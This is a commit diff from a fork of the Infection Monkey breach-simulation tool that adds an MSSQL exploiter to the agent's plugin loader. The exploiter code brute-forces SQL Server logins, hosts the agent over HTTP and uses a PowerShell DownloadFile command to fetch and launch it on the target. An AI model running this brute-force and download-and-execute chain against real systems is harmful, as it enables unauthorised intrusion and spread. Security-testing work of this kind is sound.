forked from p15670423/monkey
Merge pull request #1779 from guardicore/1738-add-mssql-to-puppet
1738 add mssql to puppet
This commit is contained in:
commit
87cbb07da0
|
@ -1,7 +1,3 @@
|
||||||
class ExploitingVulnerableMachineError(Exception):
|
|
||||||
""" Raise when exploiter failed, but machine is vulnerable """
|
|
||||||
|
|
||||||
|
|
||||||
class FailedExploitationError(Exception):
|
class FailedExploitationError(Exception):
|
||||||
""" Raise when exploiter fails instead of returning False """
|
""" Raise when exploiter fails instead of returning False """
|
||||||
|
|
||||||
|
|
|
@ -1,17 +1,20 @@
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
import sys
|
|
||||||
from time import sleep
|
from time import sleep
|
||||||
|
|
||||||
import pymssql
|
import pymssql
|
||||||
|
|
||||||
from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError
|
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
||||||
|
from common.utils.exceptions import FailedExploitationError
|
||||||
from common.utils.exploit_enum import ExploitType
|
from common.utils.exploit_enum import ExploitType
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_monkey_dest_path
|
from infection_monkey.exploit.tools.helpers import get_agent_dest_path
|
||||||
from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
|
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||||
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
|
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
|
||||||
|
from infection_monkey.i_puppet import ExploiterResultData
|
||||||
from infection_monkey.model import DROPPER_ARG
|
from infection_monkey.model import DROPPER_ARG
|
||||||
|
from infection_monkey.transport import LockedHTTPServer
|
||||||
|
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
|
||||||
from infection_monkey.utils.commands import build_monkey_commandline
|
from infection_monkey.utils.commands import build_monkey_commandline
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
@ -42,35 +45,42 @@ class MSSQLExploiter(HostExploiter):
|
||||||
"DownloadFile(^'{http_path}^' , ^'{dst_path}^')"
|
"DownloadFile(^'{http_path}^' , ^'{dst_path}^')"
|
||||||
)
|
)
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self):
|
||||||
super(MSSQLExploiter, self).__init__(host)
|
super().__init__()
|
||||||
self.cursor = None
|
self.cursor = None
|
||||||
self.monkey_server = None
|
self.agent_http_path = None
|
||||||
self.payload_file_path = os.path.join(
|
self.payload_file_path = os.path.join(
|
||||||
MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME
|
MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME
|
||||||
)
|
)
|
||||||
|
|
||||||
def _exploit_host(self):
|
def _exploit_host(self) -> ExploiterResultData:
|
||||||
"""
|
"""
|
||||||
First this method brute forces to get the mssql connection (cursor).
|
First this method brute forces to get the mssql connection (cursor).
|
||||||
Also, don't forget to start_monkey_server() before self.upload_monkey() and
|
Also, don't forget to start_monkey_server() before self.upload_monkey() and
|
||||||
self.stop_monkey_server() after
|
self.stop_monkey_server() after
|
||||||
"""
|
"""
|
||||||
# Brute force to get connection
|
# Brute force to get connection
|
||||||
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
|
creds = generate_identity_secret_pairs(
|
||||||
self.cursor = self.brute_force(
|
self.options["credentials"]["exploit_user_list"],
|
||||||
self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list
|
self.options["credentials"]["exploit_password_list"],
|
||||||
)
|
)
|
||||||
|
try:
|
||||||
# Create dir for payload
|
self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
|
||||||
self.create_temp_dir()
|
except FailedExploitationError:
|
||||||
|
logger.info(
|
||||||
|
f"Failed brute-forcing of MSSQL server on {self.host},"
|
||||||
|
f" no credentials were successful"
|
||||||
|
)
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
# Create dir for payload
|
||||||
|
self.create_temp_dir()
|
||||||
self.create_empty_payload_file()
|
self.create_empty_payload_file()
|
||||||
|
|
||||||
self.start_monkey_server()
|
http_thread = self.start_monkey_server()
|
||||||
self.upload_monkey()
|
self.upload_monkey()
|
||||||
self.stop_monkey_server()
|
MSSQLExploiter._stop_monkey_server(http_thread)
|
||||||
|
|
||||||
# Clear payload to pass in another command
|
# Clear payload to pass in another command
|
||||||
self.create_empty_payload_file()
|
self.create_empty_payload_file()
|
||||||
|
@ -79,9 +89,18 @@ class MSSQLExploiter(HostExploiter):
|
||||||
|
|
||||||
self.remove_temp_dir()
|
self.remove_temp_dir()
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
raise ExploitingVulnerableMachineError(e.args).with_traceback(sys.exc_info()[2])
|
error_message = (
|
||||||
|
f"An unexpected error occurred when trying "
|
||||||
|
f"to exploit MSSQL on host {self.host}: {e}"
|
||||||
|
)
|
||||||
|
|
||||||
return True
|
logger.error(error_message)
|
||||||
|
self.exploit_result.error_message = error_message
|
||||||
|
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
|
self.exploit_result.propagation_success = True
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
def run_payload_file(self):
|
def run_payload_file(self):
|
||||||
file_running_command = MSSQLLimitedSizePayload(self.payload_file_path)
|
file_running_command = MSSQLLimitedSizePayload(self.payload_file_path)
|
||||||
|
@ -132,12 +151,17 @@ class MSSQLExploiter(HostExploiter):
|
||||||
)
|
)
|
||||||
self.run_mssql_command(tmp_dir_removal_command)
|
self.run_mssql_command(tmp_dir_removal_command)
|
||||||
|
|
||||||
def start_monkey_server(self):
|
def start_monkey_server(self) -> LockedHTTPServer:
|
||||||
self.monkey_server = MonkeyHTTPServer(self.host)
|
dst_path = get_agent_dest_path(self.host, self.options)
|
||||||
self.monkey_server.start()
|
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||||
|
self.host, dst_path, self.agent_repository
|
||||||
|
)
|
||||||
|
return http_thread
|
||||||
|
|
||||||
def stop_monkey_server(self):
|
@staticmethod
|
||||||
self.monkey_server.stop()
|
def _stop_monkey_server(http_thread):
|
||||||
|
http_thread.stop()
|
||||||
|
http_thread.join(LONG_REQUEST_TIMEOUT)
|
||||||
|
|
||||||
def write_download_command_to_payload(self):
|
def write_download_command_to_payload(self):
|
||||||
monkey_download_command = self.get_monkey_download_command()
|
monkey_download_command = self.get_monkey_download_command()
|
||||||
|
@ -145,9 +169,9 @@ class MSSQLExploiter(HostExploiter):
|
||||||
return monkey_download_command
|
return monkey_download_command
|
||||||
|
|
||||||
def get_monkey_launch_command(self):
|
def get_monkey_launch_command(self):
|
||||||
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
|
dst_path = get_agent_dest_path(self.host, self.options)
|
||||||
# Form monkey's launch command
|
# Form monkey's launch command
|
||||||
monkey_args = build_monkey_commandline(self.host, get_monkey_depth() - 1, dst_path)
|
monkey_args = build_monkey_commandline(self.host, self.current_depth - 1, dst_path)
|
||||||
suffix = ">>{}".format(self.payload_file_path)
|
suffix = ">>{}".format(self.payload_file_path)
|
||||||
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
||||||
return MSSQLLimitedSizePayload(
|
return MSSQLLimitedSizePayload(
|
||||||
|
@ -157,9 +181,9 @@ class MSSQLExploiter(HostExploiter):
|
||||||
)
|
)
|
||||||
|
|
||||||
def get_monkey_download_command(self):
|
def get_monkey_download_command(self):
|
||||||
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
|
dst_path = get_agent_dest_path(self.host, self.options)
|
||||||
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format(
|
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format(
|
||||||
http_path=self.monkey_server.http_path, dst_path=dst_path
|
http_path=self.agent_http_path, dst_path=dst_path
|
||||||
)
|
)
|
||||||
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
||||||
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(
|
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(
|
||||||
|
@ -194,9 +218,9 @@ class MSSQLExploiter(HostExploiter):
|
||||||
host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT
|
host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT
|
||||||
)
|
)
|
||||||
logger.info(
|
logger.info(
|
||||||
"Successfully connected to host: {0}, using user: {1}, password ("
|
f"Successfully connected to host: {host} using user: {user} and password"
|
||||||
"SHA-512): {2}".format(host, user, self._config.hash_sensitive_data(password))
|
|
||||||
)
|
)
|
||||||
|
self.exploit_result.exploitation_success = True
|
||||||
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
|
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
|
||||||
self.report_login_attempt(True, user, password)
|
self.report_login_attempt(True, user, password)
|
||||||
cursor = conn.cursor()
|
cursor = conn.cursor()
|
||||||
|
|
|
@ -1,4 +1,7 @@
|
||||||
import logging
|
import logging
|
||||||
|
from typing import Any, Mapping
|
||||||
|
|
||||||
|
from infection_monkey.model import VictimHost
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -26,31 +29,8 @@ def get_monkey_depth():
|
||||||
return WormConfiguration.depth
|
return WormConfiguration.depth
|
||||||
|
|
||||||
|
|
||||||
def get_monkey_dest_path(url_to_monkey):
|
def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> str:
|
||||||
"""
|
if host.os["type"] == "windows":
|
||||||
Gets destination path from monkey's source url.
|
return options["dropper_target_path_win_64"]
|
||||||
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-64.exe
|
else:
|
||||||
:return: Corresponding monkey path from configuration
|
return options["dropper_target_path_linux"]
|
||||||
"""
|
|
||||||
from infection_monkey.config import WormConfiguration
|
|
||||||
|
|
||||||
if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey):
|
|
||||||
logger.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
|
|
||||||
return False
|
|
||||||
try:
|
|
||||||
if "linux" in url_to_monkey:
|
|
||||||
return WormConfiguration.dropper_target_path_linux
|
|
||||||
elif "windows-64" in url_to_monkey:
|
|
||||||
return WormConfiguration.dropper_target_path_win_64
|
|
||||||
else:
|
|
||||||
logger.error(
|
|
||||||
"Could not figure out what type of monkey server was trying to upload, "
|
|
||||||
"thus destination path can not be chosen."
|
|
||||||
)
|
|
||||||
return False
|
|
||||||
except AttributeError:
|
|
||||||
logger.error(
|
|
||||||
"Seems like monkey's source configuration property names changed. "
|
|
||||||
"Can not get destination path to upload monkey"
|
|
||||||
)
|
|
||||||
return False
|
|
||||||
|
|
|
@ -1,6 +1,4 @@
|
||||||
import logging
|
import logging
|
||||||
import os
|
|
||||||
import os.path
|
|
||||||
import urllib.error
|
import urllib.error
|
||||||
import urllib.parse
|
import urllib.parse
|
||||||
import urllib.request
|
import urllib.request
|
||||||
|
@ -30,7 +28,7 @@ class HTTPTools(object):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def create_locked_transfer(
|
def create_locked_transfer(
|
||||||
host, dropper_target_path, agent_repository, local_ip=None, local_port=None
|
host, dropper_target_path, agent_repository, local_ip=None, local_port=None
|
||||||
):
|
) -> LockedHTTPServer:
|
||||||
"""
|
"""
|
||||||
Create http server for file transfer with a lock
|
Create http server for file transfer with a lock
|
||||||
:param host: Variable with target's information
|
:param host: Variable with target's information
|
||||||
|
|
|
@ -18,6 +18,7 @@ from infection_monkey.credential_collectors import (
|
||||||
from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper
|
from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper
|
||||||
from infection_monkey.exploit.hadoop import HadoopExploiter
|
from infection_monkey.exploit.hadoop import HadoopExploiter
|
||||||
from infection_monkey.exploit.log4shell import Log4ShellExploiter
|
from infection_monkey.exploit.log4shell import Log4ShellExploiter
|
||||||
|
from infection_monkey.exploit.mssqlexec import MSSQLExploiter
|
||||||
from infection_monkey.exploit.sshexec import SSHExploiter
|
from infection_monkey.exploit.sshexec import SSHExploiter
|
||||||
from infection_monkey.exploit.wmiexec import WmiExploiter
|
from infection_monkey.exploit.wmiexec import WmiExploiter
|
||||||
from infection_monkey.exploit.zerologon import ZerologonExploiter
|
from infection_monkey.exploit.zerologon import ZerologonExploiter
|
||||||
|
@ -222,6 +223,9 @@ class InfectionMonkey:
|
||||||
)
|
)
|
||||||
puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER)
|
puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER)
|
||||||
puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER)
|
puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER)
|
||||||
|
puppet.load_plugin(
|
||||||
|
"MSSQLExploiter", exploit_wrapper.wrap(MSSQLExploiter), PluginType.EXPLOITER
|
||||||
|
)
|
||||||
puppet.load_plugin(
|
puppet.load_plugin(
|
||||||
"ZerologonExploiter",
|
"ZerologonExploiter",
|
||||||
exploit_wrapper.wrap(ZerologonExploiter),
|
exploit_wrapper.wrap(ZerologonExploiter),
|
||||||
|
|
|
@ -1,6 +1,7 @@
|
||||||
from typing import List
|
from typing import List
|
||||||
|
|
||||||
from bson import ObjectId
|
from bson import ObjectId
|
||||||
|
from gevent.lock import BoundedSemaphore
|
||||||
|
|
||||||
from common.common_consts import zero_trust_consts
|
from common.common_consts import zero_trust_consts
|
||||||
from monkey_island.cc.models.zero_trust.event import Event
|
from monkey_island.cc.models.zero_trust.event import Event
|
||||||
|
@ -9,6 +10,10 @@ from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFind
|
||||||
|
|
||||||
|
|
||||||
class MonkeyZTFindingService:
|
class MonkeyZTFindingService:
|
||||||
|
|
||||||
|
# Required to synchronize db state between different threads
|
||||||
|
_finding_lock = BoundedSemaphore()
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def create_or_add_to_existing(test: str, status: str, events: List[Event]):
|
def create_or_add_to_existing(test: str, status: str, events: List[Event]):
|
||||||
"""
|
"""
|
||||||
|
@ -20,16 +25,17 @@ class MonkeyZTFindingService:
|
||||||
the query - this is not
|
the query - this is not
|
||||||
when this function should be used.
|
when this function should be used.
|
||||||
"""
|
"""
|
||||||
existing_findings = list(MonkeyFinding.objects(test=test, status=status))
|
with MonkeyZTFindingService._finding_lock:
|
||||||
assert len(existing_findings) < 2, "More than one finding exists for {}:{}".format(
|
existing_findings = list(MonkeyFinding.objects(test=test, status=status))
|
||||||
test, status
|
assert len(existing_findings) < 2, "More than one finding exists for {}:{}".format(
|
||||||
)
|
test, status
|
||||||
|
)
|
||||||
|
|
||||||
if len(existing_findings) == 0:
|
if len(existing_findings) == 0:
|
||||||
MonkeyZTFindingService.create_new_finding(test, status, events)
|
MonkeyZTFindingService.create_new_finding(test, status, events)
|
||||||
else:
|
else:
|
||||||
# Now we know for sure this is the only one
|
# Now we know for sure this is the only one
|
||||||
MonkeyZTFindingService.add_events(existing_findings[0], events)
|
MonkeyZTFindingService.add_events(existing_findings[0], events)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def create_new_finding(test: str, status: str, events: List[Event]):
|
def create_new_finding(test: str, status: str, events: List[Event]):
|
||||||
|
|
Loading…
Reference in New Issue